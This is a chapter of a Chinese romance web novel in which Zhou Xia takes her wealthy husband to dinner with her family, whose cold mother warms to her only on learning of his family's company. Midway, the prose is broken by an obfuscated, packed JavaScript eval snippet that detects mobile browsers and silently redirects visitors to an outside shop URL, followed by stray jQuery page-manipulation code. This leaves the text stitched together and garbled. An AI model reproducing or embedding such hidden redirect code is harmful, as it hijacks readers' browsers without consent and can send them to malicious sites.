文趣网 > 其他小说 > 蓝色雨 > 20. 蓝色雨
    这几天搬到西江樾后,周夏再也没有回过以前的那套房子。

    西江樾的床更大,更软,还有每天睡醒之后自己腰上一定会有那双不曾移开的大手。

    每天盛从舟会准时出现在自己工作室楼下接她回家;有时候还会绕路去买她随口一提的小甜点,虽说她每次只吃一点;冰箱里永远有她爱吃说的水果,浴室的洗发水用完了他也会悄无声息地补上同款。家里从以前的黑白灰三种颜色,现在逐渐地有了其他的颜色。

    “夏姐,你最近气色变好了欸,吃什么补的呀?”边梦梦端着相机,歪头看她,“还胖了一点。”

    周夏看成片时突然抬头看她,“有吗?”

    她下意识地摸了摸自己的脸颊,好像地有一点。以前她忙起来只吃一顿饭,现在一日三餐,盛从舟盯着她吃饭,哪怕他出差,他都要专门叫阿姨来做饭还要,监督她吃饭。

    “可能是最近没怎么熬夜,作息规律了自然会胖。”她说。

    边梦梦“哦”了一声,意味深长地朝她手上地戒指看了一眼。

    工作室的人都知道周夏结婚了,结婚对象是盛从舟,他们也知道,只不过没拆穿周夏。

    下午,周夏接到了徐珩的电话。

    “周夏,剧组下周开机,你档期OK吗?”

    “我时间上没问题。”

    早在一周以前,周夏就已经开始空档期了。

    “好,我到时候把剧本发给你看看。”

    “行。”

    挂断电话,周夏靠在椅背上,盯着天花板发呆。

    真的要拍影视剧了,她想起大学时对着电脑剪片子时,沈青柠在她旁边说:“你以后肯定能当导演,到时候我当你的女主角。”

    那时候觉得是梦,现在好像真的在往那个方向走了。

    手机突然又来了一个电话,来电显示是周景明。

    周夏接起电话,那一头却不是周景明的声音。

    “喂周夏,今天带人回家吃饭。”郑澜说。

    不容周夏反应,郑澜直接挂断了电话。

    一会儿,周景明给他发消息解释。

    【姐,和我没关系。】

    【妈把我手机抢过去给你打的电话。】

    周夏没回,靠在椅子上闭上了眼睛。

    她不是在怪周景明,是那通电话把她搞得有些烦躁。但是总要带盛从舟回去一趟,一直不回去也不是个办法。

    随后,她拨通了盛从舟的电话。

    “喂盛从舟。”

    “怎么了?”

    “我妈让我们下午回去吃饭。”

    “好,下班我来接你。”

    下班时,盛从舟准时出现在工作室楼下。

    周夏从楼里出来的时候,看到盛从舟靠在车边,手里拿着一杯咖啡,正低头看手机。

    她走过去,他抬起头,把咖啡递给她。

    “给。”

    “你怎么知道我想喝?”

    “你中午发的朋友圈,说想喝喝不到。”

    周夏愣了一下,她那会儿随手发了一条,配图是网上的咖啡图,文案就一个字“想”,她自己都忘了,他记住了。

    她接过咖啡,喝了一口,温度刚好。

    “走吧。”她拉开车门,坐了进去。

    车子驶出停车场,往她父母家的方向开。路上两个人都没怎么说话,周夏看着窗外,盛从舟专心开车,但他的左手一直握着她的手,没有松开。

    快到的时候,周夏忽然开口:“盛从舟。”

    “嗯。”

    “我妈要是说什么不好听的,你别往心里去。”

    他转过头看了她一眼,笑了一下:“她能说什么?”

    “不知道。”周夏低下头,“反正你别放在心上就行。”

    “好。”他把她的手握紧了一点。

    车停在楼下,周夏深吸了一口气,推开车门。

    盛从舟绕过车头,自然地揽住她的腰,往楼里走。

    “你别紧张。”他说,“有我在。”

    周夏按下门铃,听到里面传来周景明的声音:“来了来了。”

    门开了,周景明穿着卫衣,踩着拖鞋,看到周夏叫了一声“姐”,又看到盛从舟,张了张嘴,最后还是叫了一声“姐夫”。

    盛从舟挑了下眉,这是周景明第一次叫他姐夫。

    周景明让开身,把拖鞋从鞋柜里拿出来,一双是她的,一双是新的。

    “妈在厨房。”周景明压低声音。

    周夏换鞋的时候,郑澜从厨房里出来了,她还系着围裙,手里拿着锅铲,目光越过周夏,落在盛从舟身上。上下打量了一下,嘴角动了动,没说别的。

    “来了。”语气和叫周夏回家吃饭一样,不带什么情绪。

    “妈。”盛从舟叫了一声。

    郑澜点了点头,转身回厨房了。

    客厅里,周秉德坐在沙发上看电视,看到盛从舟,站起身。

    “你就是盛从舟?”周秉德上下打量了他一下,目光不算严厉,但也不算随意。

    “是。”盛从舟站得很直,“爸,您好。”

    周夏愣了一下,侧头看他,盛从舟表情很自然,像叫了很多年一样。

    周秉德也愣了一下,随即点了点头,表情松动了一点。

    “坐吧。”

    盛从舟把自己拿的礼品放到沙发边,最后坐到周夏的旁边,和周秉德隔着一个人的距离,周景明坐在另一边的单人沙发上,翘着腿,拿着手机,偶尔抬头看一眼,像是在观望什么。

    周春和听到动静,也从楼上下来了,她穿着一件浅灰色的针织衫,头发随意扎着,整个人看起来柔和了不少。

    客厅里谁都不说话,只有电视外放的声音。

    很快饭菜端上桌,准备开饭。

    但是饭桌上气氛不算热络,也不算冷,八菜一汤,比平时过年还丰盛。周夏看了一眼满桌的菜,心里说不上什么滋味。

    周秉德坐在主位,郑澜坐在他旁边,盛从舟和周夏坐在一起。

    “吃吧。”周秉德动了第一筷子。

    郑澜还是和以前一样,给周春和夹菜又给周景明夹菜,只有周夏的碗里空空如也。

    盛从舟看到了,他给周夏夹了一块烤鸡上的鸡腿,动作很自然,像做过无数次一样。

    周夏看着自己碗里的鸡腿,鼻子有些酸。

    作为家里的老二,她时最不受宠的那个,鸡腿平常也轮不到她吃。

    郑澜看到了盛从舟给周夏夹鸡腿,但她也不好说什么。

    片刻,周秉德开口问盛从舟,“家里是干什么的?”

    “做点生意。”

    “什么生意?”

    “华盛集团。”盛从舟说得很轻,但“华盛”两个字落下来的时候,周秉德的筷子顿了一下。

    郑澜显然也知道华盛集团,表情变了变,“你是在华盛集团工作?”

    盛从舟放下筷子,语气不急不慢的说:“华盛集团是我家的产业。”

    “你家的。”郑澜有些震惊,目光看向了周夏,眼神里是看不懂的意味。

    郑澜自从知道华盛是盛从舟家的后,她就一反常态的给周夏夹菜,哪怕有一道的周夏不喜欢的芹菜炒肉,她也夹给了周夏。

    周夏看着,没有阻止也没有说话。

    “那你们现在住哪?”周秉德又问。

    “西江樾。”

    “那个地方我知道。”郑澜点了点头,语气是藏不住的满意,“挺好的。”

    过了一会儿,郑澜说:“既然你和周夏已经领证了,哪天有时间,咱们两家一起吃个饭。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608904|205847||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>周夏终于忍不住,抬起头看着郑澜,“妈。”

    郑澜看了一眼周夏,没理她,继续给盛从舟说:“周夏从小脾气就犟,有什么地方做的不对,你多担待。”

    “没有,她很好。”盛从舟的的语气很平,但很认真。

    郑澜愣了一下,笑了笑没再说什么。

    这顿饭从开始到结束,周春和和周景明就和两个局外人一样,默默吃饭,看着饭桌上暗流涌动。

    吃完饭,他们俩收拾碗筷去洗碗,周夏他们坐在客厅聊天。

    厨房里,周春和问周景明,“你是不是早就知道你姐夫的情况了?”

    “我初中那会儿就知道了。”周景明说的很随意,“他和二姐谈过恋爱,只不过是最后分手了,现在又和好了。”

    周春和“嗯”了一声,低下头说:“挺好的,他能对你二姐一直这么喜欢挺好的。”

    她的这句挺好的不是羡慕,是觉得盛从舟分手后还能坚定的选择周夏,是对周夏选择的肯定,也是觉得终于有一个人能无条件的去爱周夏。

    从家里出来的时候,夜风比来的时候凉了一些,周夏坐进车里,系好安全带,没说话。

    车子驶出小区,周夏靠在车窗上看着路灯一盏一盏地往后滑,她叹了一口气。

    “怎么了?”盛从舟听出来她情绪有些低落。

    “我在想要是今天我带回去的那个人什么都比不上你,我妈对我会是什么态度?”

    周夏太清楚郑澜,郑澜是最好面的,最势利的一个人。

    因为周春和成为了她最骄傲的医生,并且那是她第一个孩子,所以她对周春和好。

    因为周景明是儿子,所以她对周景明好。

    而周夏呢?

    今天郑澜能突然转变态度,对周夏好,是因为盛从舟,所以她才会对周夏好。

    “所以你是因为这个难过吗?”

    周夏自嘲的笑了一下,“我是不是挺没意思的,明知道答案是什么还要问?”

    “不是。”盛从舟说,“你只是心里还有期待。”

    周夏没说话。

    “没关系,有期待不是错。”他顿了顿,“只是不要把期待放在不对的人身上。”

    盛从舟一只手开车,一只手握住周夏冰冷的手,来回摸索着她的手背。

    周夏鼻子忽然一酸,和今天在饭桌上看到鸡腿时一样酸,她把脸偏向车窗那一侧,擦掉了毫无预兆滑下来的眼泪。

    她声音闷闷的说:“盛从舟,你今天干嘛给我夹鸡腿?”

    “因为你想吃。”

    “你怎么知道?”

    盛从舟说,“从那道菜一端上来,你就一直在看。你妈给你姐还有你弟夹菜的时候,你也在看。”

    周夏整个人僵住了,她没想到他连这个都注意到了。

    “你有病啊,注意我这个。”

    她那时候也是在期待,期待郑澜会不会因为盛从舟而把鸡腿夹给自己。

    盛从舟笑了笑,没反驳她。

    回到家周夏和盛从舟躺在床上,床头柜上的台灯亮着。

    盛从舟抱着周夏说:“以后不想回去就不回去。”

    “那要是一直叫呢?”

    “就推我身上,我挡着。”

    周夏抬起头看他,“你挡得住吗?”

    “下次试试。”

    周夏低下头笑了一声,不过她说:“我明天不去上班了,我要给自己放假。”

    “要进组了?”

    “嗯。”她靠在盛从舟的胸腔上,声音闷闷的说:“进组前好好放松一下,并且过两天沈青柠要过生日。”

    “好,消费算我的。”

    “嗯”

    她闭上眼,感觉到他的手在她背上轻轻地、一下一下地拍着,像哄一个终于肯放松的孩子。